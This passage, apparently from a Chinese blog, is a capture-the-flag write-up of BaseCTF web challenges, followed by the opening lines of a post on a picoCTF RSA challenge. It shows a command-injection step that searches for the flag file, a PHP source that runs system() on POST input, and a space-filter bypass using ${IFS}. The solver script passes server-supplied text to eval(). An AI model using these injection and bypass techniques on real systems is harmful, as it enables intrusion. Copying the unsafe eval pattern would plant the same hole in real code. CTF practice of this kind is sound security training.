我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"

response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")

while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

🔲 ☆

巧解picoCTF的RSA挑战题Sum-O-Primes

一个偶然的机会,接触到一道picoCTF的RSA挑战题Sum-O-Primes。这道题不难,了解RSA的基本算法就能做出来。另外,如果熟悉RSA算法演变的历史,还能找到第二种巧妙的快速解法。

❌